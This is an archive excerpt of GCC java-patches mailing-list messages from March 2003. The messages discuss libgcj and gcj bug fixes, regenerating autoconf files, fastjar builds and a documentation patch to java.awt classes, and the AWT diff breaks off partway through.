mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 9 Mar 2003 18:37:20 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E5C8D500006CA80; Sun, 9 Mar 2003 19:37:18 +0100 Message-ID: <3E6B89D8.6010205@pop.agri.ch> Date: Sun, 09 Mar 2003 19:37:12 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Wielaard CC: Java Patch List Subject: Re: correct dylib suffix in libltdl References: <3E6AE522.3060704@pop.agri.ch> <1047234055.583.5.camel@localhost> In-Reply-To: <1047234055.583.5.camel@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Mark, Mark Wielaard wrote: > Hi, > > Op zo 09-03-2003, om 07:54 schreef Andreas Tobler: > >>It needs regeneration of aclocal.m4 and configure. >>To do it right, I have taken an automake 1.4 and an autoconf 2.13, is >>this correct? And how do I proceed when commiting such a patch? > > > See the libjava/HACKING file for the (specially hacked) version of > automake to use. BTW feel free to add new things to that file that everz > hacker should know (but now often is knowledge you can only learn by > watching the list a long time). I believe plain autoconf 2.13 is the > correct version. Yep, I meant this one. I have it here since a longer time. Failed over it more than one time. My question is more to be on the safe side. What to do if a commit of a configure/aclocal.m4 goes wrong? Can I revert it? I never touched a generated file before (regarding cvs commit) Thanks, Andreas From java-patches-return-6408-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 18:49:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28131 invoked by alias); 9 Mar 2003 18:49:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28124 invoked from network); 9 Mar 2003 18:49:08 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 9 Mar 2003 18:49:08 -0000 Received: from [192.168.1.18] (helo=[192.168.1.18] ident=user) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18s5qa-0002Dv-00; Sun, 09 Mar 2003 19:48:32 +0100 Subject: Re: correct dylib suffix in libltdl From: Mark Wielaard To: Andreas Tobler Cc: Java Patch List In-Reply-To: <3E6B89D8.6010205@pop.agri.ch> References: <3E6AE522.3060704@pop.agri.ch> <1047234055.583.5.camel@localhost> <3E6B89D8.6010205@pop.agri.ch> Content-Type: text/plain Organization: Message-Id: <1047235743.583.11.camel@localhost> Mime-Version: 1.0 Date: 09 Mar 2003 19:49:03 +0100 Content-Transfer-Encoding: 7bit Hi, Op zo 09-03-2003, om 19:37 schreef Andreas Tobler: > > My question is more to be on the safe side. What to do if a commit of a > configure/aclocal.m4 goes wrong? Can I revert it? > > I never touched a generated file before (regarding cvs commit) If you really want to be on the safe side just post the diff of the generated file. There is actually nothing special about those files from the point of view of CVS. Keep an old revision of the file to put back when something goes wrong while committing, just like with normal files. Cheers, Mark From java-patches-return-6409-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 22:49:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18835 invoked by alias); 9 Mar 2003 22:49:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18828 invoked from network); 9 Mar 2003 22:49:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 9 Mar 2003 22:49:02 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA19615; Sun, 9 Mar 2003 15:49:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 81DD84F8610; Sun, 9 Mar 2003 15:42:09 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: fix PR 9934 From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Are you still SEXUALLY ACTIVE? Did you BRING th' REINFORCEMENTS? Date: 09 Mar 2003 15:42:09 -0700 Message-ID: <87wuj8tb5q.fsf@fleche.redhat.com> Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the branch. This fixes PR libgcj/9934. Tom Index: ChangeLog from Tom Tromey PR libgcj/9934: * java/io/natFileDescriptorPosix.cc (available): Fixed arguments to lseek. Return 0 if we can't compute the value. Index: java/io/natFileDescriptorPosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorPosix.cc,v retrieving revision 1.24 diff -u -r1.24 natFileDescriptorPosix.cc --- java/io/natFileDescriptorPosix.cc 4 Jan 2003 03:53:00 -0000 1.24 +++ java/io/natFileDescriptorPosix.cc 9 Mar 2003 22:47:59 -0000 @@ -371,7 +371,7 @@ off_t where = 0; if (fstat (fd, &sb) != -1 && S_ISREG (sb.st_mode) - && (where = lseek (fd, SEEK_CUR, 0)) != (off_t) -1) + && (where = lseek (fd, 0, SEEK_CUR)) != (off_t) -1) { num = (long) (sb.st_size - where); num_set = true; @@ -397,6 +397,6 @@ return (jint) num; #else - throw new IOException (JvNewStringLatin1 ("unimplemented")); + return 0; #endif } From java-patches-return-6410-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 04:52:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14537 invoked by alias); 10 Mar 2003 04:52:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14529 invoked from network); 10 Mar 2003 04:52:07 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.91) by 172.16.49.205 with SMTP; 10 Mar 2003 04:52:07 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 9 Mar 2003 20:52:06 -0800 X-Originating-IP: [148.87.1.170] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: Subject: Re: Patch: Add #include in fastjar Date: Mon, 10 Mar 2003 10:23:45 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 10 Mar 2003 04:52:06.0441 (UTC) FILETIME=[CCD4E990:01C2E6C0] > Nevertheless, dostime.c doesn't compile under GCC 3.2 without #include . > You can download my snapshot and try it.... Simply update mingw-runtime to 2.4 in your GCC 3.2 installation and this should be cured. While you're at it, you might as well update w32api to 2.2. Ranjit. From java-patches-return-6411-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 05:04:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3640 invoked by alias); 10 Mar 2003 05:04:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3633 invoked from network); 10 Mar 2003 05:04:02 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 10 Mar 2003 05:04:02 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2A541Q12054 for ; Sun, 9 Mar 2003 23:04:01 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 09 Mar 2003 23:04:08 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <7184PKPM1ZTQ5PNIDLFFAN9894B73.3e6c1cc8@p733> Subject: Re: Patch: Add #include in fastjar MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Hi Ranjit, >> Nevertheless, dostime.c doesn't compile under GCC 3.2 without #include . >> You can download my snapshot and try it.... > >Simply update mingw-runtime to 2.4 in your GCC 3.2 installation >and this should be cured. While you're at it, you might >as well update w32api to 2.2. This was already done. Refer to my original post: http://gcc.gnu.org/ml/java/2003-03/msg00157.html ...under the section "Open an MSYS shell. Type:" I'd be interested to see if you could reproduce the problem on your end with my snapshot. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6412-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 06:27:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16167 invoked by alias); 10 Mar 2003 06:27:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16155 invoked from network); 10 Mar 2003 06:27:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Mar 2003 06:27:10 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA23151; Sun, 9 Mar 2003 23:27:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 804AA4F8610; Sun, 9 Mar 2003 23:20:20 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: gcj interface initialization bug From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Could I have a drug overdose? Date: 09 Mar 2003 23:20:20 -0700 Message-ID: <87heabu4ij.fsf@fleche.redhat.com> Lines: 118 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes a somewhat obscure class initialization bug. (Though it was discovered in actual application code.) gcj assumes that all the interfaces of a class are initialized if the class is initialized. However, this is not the case. The first part of this patch (in expr.c) fixes this assumption. The second part adds a bit of code to gcj to force a class initialization when we're referring to a field in an interface. New test included; before this patch the test will throw a NullPointerException. Tested on x86 Red Hat Linux 7.3, including jacks. Ok for trunk and 3.3? Tom Index: gcc/java/ChangeLog from Tom Tromey * parse.y (resolve_field_access): Initialize class if field is found in another static field. * expr.c (build_class_init): Don't optimize out initialization of implemented interface. Index: gcc/java/expr.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/expr.c,v retrieving revision 1.163 diff -u -r1.163 expr.c --- gcc/java/expr.c 12 Feb 2003 23:39:50 -0000 1.163 +++ gcc/java/expr.c 9 Mar 2003 22:39:06 -0000 @@ -1672,7 +1672,14 @@ build_class_init (tree clas, tree expr) { tree init; - if (inherits_from_p (current_class, clas)) + + /* An optimization: if CLAS is a superclass of the class we're + compiling, we don't need to initialize it. However, if CLAS is + an interface, it won't necessarily be initialized, even if we + implement it. */ + if ((! CLASS_INTERFACE (TYPE_NAME (clas)) + && inherits_from_p (current_class, clas)) + || current_class == clas) return expr; if (always_initialize_class_p) Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.424 diff -u -r1.424 parse.y --- gcc/java/parse.y 1 Mar 2003 21:46:17 -0000 1.424 +++ gcc/java/parse.y 9 Mar 2003 22:39:11 -0000 @@ -9301,6 +9301,19 @@ return error_mark_node; if (is_static) field_ref = maybe_build_class_init_for_field (decl, field_ref); + + /* If we're looking at a static field, we may need to generate a + class initialization for it. This can happen when the access + looks like `field.ref', where `field' is a static field in an + interface we implement. */ + if (!flag_emit_class_files + && !flag_emit_xref + && TREE_CODE (where_found) == VAR_DECL + && FIELD_STATIC (where_found)) + { + build_static_field_ref (where_found); + field_ref = build_class_init (DECL_CONTEXT (where_found), field_ref); + } } else field_ref = decl; Index: libjava/testsuite/ChangeLog from Tom Tromey * libjava.lang/initfield.java: New file. * libjava.lang/initfield.out: New file. Index: libjava/testsuite/libjava.lang/initfield.java =================================================================== RCS file: libjava/testsuite/libjava.lang/initfield.java diff -N libjava/testsuite/libjava.lang/initfield.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.lang/initfield.java 9 Mar 2003 22:39:15 -0000 @@ -0,0 +1,20 @@ +// gcj generated buggy code when we reference a field of a +// non-constant member that we inherit from an interface. + +interface iface +{ + final value x = new value(); +} + +final class value +{ + Object field = "maude"; +} + +public class initfield implements iface +{ + public static void main(String[] args) + { + System.out.println(x.field); + } +} Index: libjava/testsuite/libjava.lang/initfield.out =================================================================== RCS file: libjava/testsuite/libjava.lang/initfield.out diff -N libjava/testsuite/libjava.lang/initfield.out --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.lang/initfield.out 9 Mar 2003 22:39:15 -0000 @@ -0,0 +1 @@ +maude From java-patches-return-6413-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 06:39:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20606 invoked by alias); 10 Mar 2003 06:39:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20594 invoked from network); 10 Mar 2003 06:39:42 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 10 Mar 2003 06:39:42 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-073.ewetel.net [80.228.68.73]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2A6ddgW012526; Mon, 10 Mar 2003 07:39:40 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sGwA-00035k-00; Mon, 10 Mar 2003 07:39:02 +0100 From: Michael Koch To: tromey@redhat.com, java-patches@gcc.gnu.org Subject: Re: Patch: gcj interface initialization bug Date: Mon, 10 Mar 2003 07:40:08 +0100 User-Agent: KMail/1.5 Cc: Gcc Patch List References: <87heabu4ij.fsf@fleche.redhat.com> In-Reply-To: <87heabu4ij.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303100740.08945.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 10. M=E4rz 2003 07:20 schrieb Tom Tromey: > This patch fixes a somewhat obscure class initialization bug. > (Though it was discovered in actual application code.) > > gcj assumes that all the interfaces of a class are initialized if > the class is initialized. However, this is not the case. > > The first part of this patch (in expr.c) fixes this assumption. > The second part adds a bit of code to gcj to force a class > initialization when we're referring to a field in an interface. > > New test included; before this patch the test will throw a > NullPointerException. Is this for the VerifierError I got with ant ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bDNIWSOgCCdjSDsRAnH7AJ9KcYTM4sQio/Yd/VUgOB3LUEC5nQCePfqf yDKNbWUr+CFw3Mjhxnn5WVQ=3D =3DJKrj =2D----END PGP SIGNATURE----- From java-patches-return-6414-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 06:43:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22709 invoked by alias); 10 Mar 2003 06:43:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22698 invoked from network); 10 Mar 2003 06:43:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Mar 2003 06:43:26 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA25088; Sun, 9 Mar 2003 23:43:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AD91A4F8611; Sun, 9 Mar 2003 23:36:37 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org, Gcc Patch List Subject: Re: Patch: gcj interface initialization bug References: <87heabu4ij.fsf@fleche.redhat.com> <200303100740.08945.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: A KAISER ROLL?! What good is a Kaiser Roll without a little COLE SLAW on the SIDE? Date: 09 Mar 2003 23:36:37 -0700 In-Reply-To: <200303100740.08945.konqueror@gmx.de> Message-ID: <874r6bu3re.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Is this for the VerifierError I got with ant ? No, this is completely unrelated. Tom From java-patches-return-6415-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 12:09:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9951 invoked by alias); 10 Mar 2003 12:09:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9935 invoked from network); 10 Mar 2003 12:09:24 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 12:09:24 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-6.rdu.redhat.com [172.16.50.6]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 571E7ABB07; Mon, 10 Mar 2003 12:09:18 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AC9Fp01989; Mon, 10 Mar 2003 12:09:15 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.32874.888286.828547@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 12:09:14 +0000 (GMT) To: tromey@redhat.com Cc: java-patches@gcc.gnu.org, Gcc Patch List Subject: Patch: gcj interface initialization bug In-Reply-To: <87heabu4ij.fsf@fleche.redhat.com> References: <87heabu4ij.fsf@fleche.redhat.com> Tom Tromey writes: > Ok for trunk and 3.3? > > Index: gcc/java/ChangeLog > from Tom Tromey > > * parse.y (resolve_field_access): Initialize class if field is > found in another static field. > * expr.c (build_class_init): Don't optimize out initialization of > implemented interface. OK. Andrew. From java-patches-return-6416-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 13:24:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4567 invoked by alias); 10 Mar 2003 13:24:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4559 invoked from network); 10 Mar 2003 13:24:02 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 10 Mar 2003 13:24:02 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-80-184.ewetel.net [80.228.80.184]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2ADNvgW001647 for ; Mon, 10 Mar 2003 14:23:58 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sNFO-0003O7-00 for ; Mon, 10 Mar 2003 14:23:18 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: java.awt Date: Mon, 10 Mar 2003 14:24:25 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_JIJb+MGWNaT5KB2" Message-Id: <200303101424.25823.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_JIJb+MGWNaT5KB2 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch. This will soon be in classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bJIJWSOgCCdjSDsRAjwgAJwLV/tcBhGu0daKYg/0r1ZP9X//sACgmds9 +xcn8NxLvqMq7BChMohy5S4=3D =3DyEQv =2D----END PGP SIGNATURE----- --Boundary-00=_JIJb+MGWNaT5KB2 Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1767 diff -u -r1.1767 ChangeLog --- ChangeLog 9 Mar 2003 22:50:01 -0000 1.1767 +++ ChangeLog 10 Mar 2003 13:20:26 -0000 @@ -1,3 +1,73 @@ +2003-03-10 Michael Koch + + * java/awt/FocusTraversalPolicy.java + (FocusTraversalPolicy): Documentation added. + (getComponentAfter): Documentation added. + (getComponentBefore): Documentation added. + (getFirstComponent): Documentation added. + (getLastComponent): Documentation added. + (getDefaultComponent): Documentation added. + (getInitialComponent): Documentation added. + * java/awt/ScrollPaneAdjustable.java + (sp): New member variable. + (orientation): New member variable. + (value): New member variable. + (minimum): New member variable. + (maximum): New member variable. + (visibleAmount): New member variable. + (unitIncrement): New member variable. + (blockIncrement): New member variable. + (adjustmentListener): New member variable. + (ScrollPaneAdjustable): Rewrote. + (addAdjustmentListener): New method. + (removeAdjustmentListener): New method. + (getAdjustmentListeners): New method. + (getBlockIncrement): New method. + (getMaximum): New method. + (getMinimum): New method. + (getOrientation): New method. + (getUnitIncrement): New method. + (getValue): New method. + (getVisibleAmount): New method. + (setBlockIncrement): New method. + (setUnitIncrement): New method. + (setMaximum): Implemented. + (setMinimum): Implemented. + (setValue): New method. + (setVisibleAmount): Implemented. + (paramString): New method. + * java/awt/Window.java + (show): Use setVisible(true) instead of super.show(). + (hide): Use sevVisible(false) instead of super.hide(). + (processWindowEvent): Added cases for WINDOW_GAINED_FOCUS, + WINDOW_LOST_FOCUS and WINDOW_STATE_CHANGED. + (postEvent): Deprecated. + (applyResourceBundle): Deprecated. + (processWindowFocusEvent): New method. + (processWindowStateEvent): New method. + * java/awt/datatransfer/DataFlavor.java: Reindented. + * java/awt/font/TextHitInfo.java + (charIndex): New member variable. + (leadingEdge): New member variable. + (TextHitInfo): New constructor. + (getCharIndex): Implemented. + (isLeadingEdge): Implemented. + (getInsertionIndex): Implemented. + (hashCode): Access charIndex directly. + (equals): Reformated. + (leading): Implemented. + (trailing): Implemented. + (beforeOffset): Implemented. + (afterOffset): Implemented. + (getOtherHit): Implemented. + (getOffsetHit): Implemented. + (toString): Implemented. + * java/awt/image/BufferedImage.java + (BufferedImage): Implements WritableRenderedImage. + (observers): New member variable. + (addTileObserver): New method. + (removeTileObserver): New method. + 2003-03-09 Tom Tromey PR libgcj/9934: Index: java/awt/FocusTraversalPolicy.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/FocusTraversalPolicy.java,v retrieving revision 1.1 diff -u -r1.1 FocusTraversalPolicy.java --- java/awt/FocusTraversalPolicy.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/FocusTraversalPolicy.java 10 Mar 2003 13:20:26 -0000 @@ -39,26 +39,63 @@ package java.awt; /** - * STUB CLASS ONLY + * @since 1.4 */ public abstract class FocusTraversalPolicy { + /** + * Creates a FocusTraversalPolicy object. + */ public FocusTraversalPolicy() { + // Do nothing in here. } + /** + * Returns the Component that should receive the focus after a Component. + * + * @exception IllegalArgumentException If root or current is null, + * or if root is not a focus cycle root of current. + */ public abstract Component getComponentAfter(Container root, Component current); + /** + * Returns the Component that should receive the focus before a Component. + * + * @exception IllegalArgumentException If root or current is null, + * or if root is not a focus cycle root of current. + */ public abstract Component getComponentBefore(Container root, Component current); + /** + * Returns the first Component in the traversal cycle. + * + * @exception IllegalArgumentException If root is null. + */ public abstract Component getFirstComponent(Container root); + /** + * Returns the last Component in the traversal cycle. + * + * @exception IllegalArgumentException If root is null. + */ public abstract Component getLastComponent(Container root); + /** + * Returns the default Component to focus. + * + * @exception IllegalArgumentException If root is null. + */ public abstract Component getDefaultComponent(Container root); + /** + * Returns the Component that should receive the focus when a Window is made + * visible for the first time. + * + * @exception IllegalArgumentException If window is null. + */ public Component getInitialComponent(Window window) { return getDefaultComponent(window); Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.17 diff -u -r1.17 Window.java --- java/awt/Window.java 15 Feb 2003 09:21:55 -0000 1.17 +++ java/awt/Window.java 10 Mar 2003 13:20:26 -0000 @@ -503,30 +503,30 @@ { if (windowListener != null) { - switch (evt.getID()) - { - case WindowEvent.WINDOW_ACTIVATED: - windowListener.windowActivated(evt); - break; - case WindowEvent.WINDOW_CLOSED: - windowListener.windowClosed(evt); - break; - case WindowEvent.WINDOW_CLOSING: - windowListener.windowClosing(evt); - break; - case WindowEvent.WINDOW_DEACTIVATED: - windowListener.windowDeactivated(evt); - break; - case WindowEvent.WINDOW_DEICONIFIED: - windowListener.windowDeiconified(evt); - break; - case WindowEvent.WINDOW_ICONIFIED: - windowListener.windowIconified(evt); - break; - case WindowEvent.WINDOW_OPENED: - windowListener.windowOpened(evt); - break; - } + switch (evt.getID()) + { + case WindowEvent.WINDOW_ACTIVATED: + windowListener.windowActivated(evt); + break; + case WindowEvent.WINDOW_CLOSED: + windowListener.windowClosed(evt); + break; + case WindowEvent.WINDOW_CLOSING: + windowListener.windowClosing(evt); + break; + case WindowEvent.WINDOW_DEACTIVATED: + windowListener.windowDeactivated(evt); + break; + case WindowEvent.WINDOW_DEICONIFIED: + windowListener.windowDeiconified(evt); + break; + case WindowEvent.WINDOW_ICONIFIED: + windowListener.windowIconified(evt); + break; + case WindowEvent.WINDOW_OPENED: + windowListener.windowOpened(evt); + break; + } } } Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.7 diff -u -r1.7 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 15 Feb 2003 13:26:26 -0000 1.7 +++ java/awt/datatransfer/DataFlavor.java 10 Mar 2003 13:20:26 -0000 @@ -51,11 +51,11 @@ import java.nio.CharBuffer; /** - * This class represents a particular data format used for transferring - * data via the clipboard. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - */ + * This class represents a particular data format used for transferring + * data via the clipboard. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + */ public class DataFlavor implements java.io.Externalizable, Cloneable { static final long serialVersionUID = 8367026044764648243L; @@ -67,50 +67,50 @@ */ /** - * This is the data flavor used for tranferring plain text. The MIME - * type is "text/plain; charset=unicode". The representation class - * is java.io.InputStream. - * - * @deprecated The charset unicode is platform specific and InputStream - * deals with bytes not chars. Use getRederForText(). - */ + * This is the data flavor used for tranferring plain text. The MIME + * type is "text/plain; charset=unicode". The representation class + * is java.io.InputStream. + * + * @deprecated The charset unicode is platform specific and InputStream + * deals with bytes not chars. Use getRederForText(). + */ public static final DataFlavor plainTextFlavor; /** - * This is the data flavor used for transferring Java strings. The - * MIME type is "application/x-java-serialized-object" and the - * representation class is java.lang.String. - */ + * This is the data flavor used for transferring Java strings. The + * MIME type is "application/x-java-serialized-object" and the + * representation class is java.lang.String. + */ public static final DataFlavor stringFlavor; /** - * This is a data flavor used for transferring lists of files. The - * representation type is a java.util.List, with each element of - * the list being a java.io.File. - */ + * This is a data flavor used for transferring lists of files. The + * representation type is a java.util.List, with each element of + * the list being a java.io.File. + */ public static final DataFlavor javaFileListFlavor; public static final DataFlavor imageFlavor; /** - * This is the MIME type used for transferring a serialized object. - * The representation class is the type of object be deserialized. - */ + * This is the MIME type used for transferring a serialized object. + * The representation class is the type of object be deserialized. + */ public static final String javaSerializedObjectMimeType = "application/x-java-serialized-object"; /** - * This is the MIME type used to transfer a Java object reference within - * the same JVM. The representation class is the class of the object - * being transferred. - */ + * This is the MIME type used to transfer a Java object reference within + * the same JVM. The representation class is the class of the object + * being transferred. + */ public static final String javaJVMLocalObjectMimeType = "application/x-java-jvm-local-object"; /** - * This is the MIME type used to transfer a link to a remote object. - * The representation class is the type of object being linked to. - */ + * This is the MIME type used to transfer a link to a remote object. + * The representation class is the type of object being linked to. 